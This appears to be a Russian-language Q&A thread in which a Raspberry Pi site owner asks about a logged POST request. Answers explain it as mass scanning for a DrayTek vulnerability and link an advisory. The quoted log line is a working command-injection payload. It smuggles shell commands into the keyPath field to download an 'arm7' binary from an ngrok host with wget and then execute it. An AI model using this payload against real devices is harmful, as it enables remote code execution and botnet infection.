Можете ли вы подтвердить мне, что этот странный почтовый запрос является своего рода кибератакой? - PullRequest
Новая
       32

Можете ли вы подтвердить мне, что этот странный почтовый запрос является своего рода кибератакой?

1 голос
/ 07 апреля 2020

сегодня я открыл веб-сайт, целью которого является обмен текстовой информацией. Нет базы данных, подключенной к бэкэнду, или нет идеи аутентификации на нем. Однако, когда я посмотрел журнал, я заметил этот запрос: 

POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a

Это произошло два раза, и мой сервер ответил оба раза 404 ответа. Но сейчас я немного обеспокоен этим. Мой сайт работает на малине, которая подключена к моему провайдеру. даже если у моего сервера нет прав sudo, мне интересно, есть ли их риск?

Кроме того, кто-то может объяснить мне, что означают эти подозрительные записи. В чем может быть риск? И наконец, не могли бы вы поделиться с нами некоторыми советами / хорошим поведением при настройке канала между любым устройством (rapsberry) и inte rnet.

(может быть, у меня не получается с тегами, не стесняйтесь сказать это или обновление) Заранее спасибо, С наилучшими пожеланиями

Ответы [ 2 ]

6 голосов
/ 07 апреля 2020

Не нужно беспокоиться. Это атака, но не направленная на указанный вами c сайт, а скорее сканирование значительной части inte rnet на наличие определенной c уязвимости. Тот факт, что ваш сервер ответил 404, означает, что он не содержал уязвимую страницу.

Это произойдет на любом сайте, подверженном публикации c inte rnet, и считается частью фонового шума. .

1 голос
/ 18 апреля 2020

Я также заметил такой же запрос на моих веб-серверах. Вот больше информации об атаке: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-draytek-products-could-allow-for-arbitrary-code-execution_2020-043/

...